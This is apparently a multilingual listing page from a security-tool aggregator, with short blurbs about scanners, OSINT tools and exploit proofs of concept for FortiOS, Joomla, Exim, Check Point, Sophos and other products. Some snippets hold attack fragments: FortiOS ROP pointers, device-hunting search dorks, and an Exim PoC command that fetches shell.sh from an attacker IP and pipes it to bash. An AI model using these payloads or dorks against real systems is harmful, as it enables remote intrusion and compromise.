CamTRON

CamTRON - Camera Scanner Автоматизированный инструмент для обнаружения устройств видеонаблюдения камер в сетях. Features Обнаружение множества брендов : поддержка более 30 брендов камер, включая Hikvision, Dahua, Axis, CCTV и другие Высокопроизводительное сканирование : параллельное сканирование ...

CVE-2024-21762

CVE-2024-21762 Выход за границы записи в Fortinet FortiOS. Уязвимость CVE-2024-21762 Эксплойт PoC от assetnote root@kitploit: ssldohandshakeptr = b"%60%ce%42%00%00%00%00%00" getcwdptr = b"%70%62%2c%04%00%00%00%00" pivot1 = b"%52%f7%fd%00%00%00%00%00" push rdi; pop rsp; ret; pivot2 =...

Joomblah

Joomblah Эксплойт для Joomla 3.7.0 CVE-2017-8917 Пояснение уязвимости: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html Модификация кода Изменение в строке 46 root@kitploit: ... result += value.decode'utf-8' ... Использование Запустите скрипт joomblah.py, указав уязвиму...

SOC_287

SOC287 - Произвольное чтение файлов на Checkpoint Security Gateway CVE-2024-24919 Обзор Этот репозиторий содержит подробное описание эксплуатации уязвимости CVE-2024-24919, затрагивающей Check Point Security Gateways. Уязвимость позволяет произвольное чтение файлов, потенциально раскрывая...

CVE-2022-31814

pfBlockerNG = 2.1.426 Неавторизованный RCE Этот скрипт является эксплойтом для проверки концепции для pfBlockerNG = 2.1.426, который позволяет выполнять удаленный код. Он принимает один целевой URL или список URL, загружает оболочку, выполняет команду, а затем удаляет оболочку. Требования Этот...

hfinger

Hfinger - empreinte numérique des requêtes HTTP de malwares Outil pour l'empreinte numérique fingerprinting des requêtes HTTP de malwares. Basé sur Tshark et écrit en Python3. Stade de prototype fonctionnel :- Son objectif principal est de fournir des représentations uniques empreintes des requêt...

CVE-2025-4601

CVE-2025-4601 - Тема WordPress RealHomes = 4.4.0 - Повышение привилегий 🔥 Сводка об уязвимости Тема WordPress RealHomes версий = 4.4.0 уязвима к повышению привилегий. Это позволяет аутентифицированным пользователям с низкими привилегиями например, подписчикам повышать свою роль до администратора...

ChaseHQ

Разбираем Chase H.Q. для ZX Spectrum Реверс-инжиниринг Дэвида Томаса, 2023–2024 Проект начат: март 2023 Это незавершённая работа по дизассемблированию версии Chase H.Q. для ZX Spectrum от Ocean Software. Пока что она охватывает только версию 48K и первый этап игры. Версия 128K лучше загружает все...

gitrob

Gitrob: OSINT에 오픈소스를 담다 Gitrob은 GitLab 또는 Github의 리포지토리에 푸시된 잠재적으로 민감한 정보를 찾는 데 도움이 되는 도구입니다. Gitrob은 사용자 또는 그룹/조직의 리포지토리를 지정된 깊이까지 클론하고, 커밋 히스토리를 순회하며 잠재적으로 민감한 정보의 시그니처와 일치하는 파일 및/또는 커밋 내용을 플래그합니다. 발견된 결과는 웹 인터페이스를 통해 쉽게 탐색하고 분석할 수 있습니다. 사용법 root@kitploit: gitrob options target target2...

OutOfTune

OutOfTune 원본 Pytune에서 영감을 받은 OutOfTune은 Entra ID에 가짜 장치를 등록하고, Intune MDM에 가입시킨 후 결과 규정 준수 상태를 확인합니다. Windows 장치만 지원합니다이것이 주요 목표였으며, 향후 추가 장치를 추가할 수 있음. 블로그 시리즈: https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/...

tough-cookie-patch-cve-2023-26136

RFC6265 Куки и CookieJar для Node.js Краткий обзор javascript var tough = require'tough-cookie'; var Cookie = tough.Cookie; var cookie = Cookie.parseheader; cookie.value = 'somethingdifferent'; header = cookie.toString; var cookiejar = new tough.CookieJar; cookiejar.setCookiecookie,...

CVE-2007-3831

CVE-2007-3831 PHP удаленное включение файла в main.php в ISS Proventia Network IPS GX5108 1.3 и GX5008 1.5 Публикация на Exploit-db: https://www.exploit-db.com/exploits/30290/ Статья на Exploit-db:...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC для эксплуатации уязвимости CVE-2019-10149 Пример использования python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

nuclei-CiscoRV320Dump-CVE-2019-1653

Cisco Router Configuration Exposure Vulnerability Описание уязвимости Этот репозиторий описывает процесс эксплуатации уязвимости в некоторых маршрутизаторах Cisco, которая позволяет получить доступ к файлу конфигурации config.exp через общедоступный URL. Этот файл может содержать конфиденциальную...

sharemylogin

ShareMyLogin Открытый исходный код Это открытый исходный код для ShareMyLogin.com. Что такое ShareMyLogin? ShareMyLogin — это безопасный инструмент для обмена чувствительной информацией например, паролями, ключами API или секретами конфигурации. Проблема Отправка пароля через Slack, Email или...

mubeng

Un vérificateur de proxy et rotateur d'IP incroyablement rapide et facile. Contribuer • Nouveautés • Documentation • Signaler des problèmes Fonctionnalités Pourquoi mubeng ? Installation Binaire Docker Source Utilisation Basique Options Remarques Installer le certificat SSL Exemples Vérificateur ...

CVE-2023-1671-POC

Дорк fofa title="Sophos Web Appliance" || app="Sophos-Web-Appliance" && title!="Sophos Web Appliance：错误请求" ZoomEye title:"Sophos Web Appliance"-title:"Sophos Web Appliance: Forbidden"-title:"Sophos Web Appliance: Bad Request" Shodan title:"Sophos Web Appliance" Использование root@kitploit: python...

xolo

XOLO Author: ET Lownoise Version: 1.0 Tool to crawl, visualize and interact with SQL server links in a d3 graph to help in your red/blue/purple/.../risk assessments pentest hacking team exercises. Requirements: root@kitploit: Requests==2.18.4 Flask==0.12.2 Json Pypyodbc beautifulsoup4==4.6.0...

xolo

XOLO Auteur : ET Lownoise Version : 1.0 Outil pour crawler, visualiser et interagir avec les liens des serveurs SQL dans un graphe D3 pour aider dans vos exercices d'équipe de pentest red/blue/purple/.../évaluations de risques. Prérequis : root@kitploit: Requests==2.18.4 Flask==0.12.2 Json Pypyod...

POC-CVE-2026-60206

CVE-2026-60206 — Обход аутентификации SAML в Oracle WebLogic CVSS 9.9 — обход аутентификации SAML в Oracle WebLogic Server Core. Подвержены: 12.2.1.4.0 14.1.1.0.0 14.1.2.0.0 15.1.1.0.0 ⚠️ Только авторизованное тестирование безопасности. Установка root@kitploit: git clone...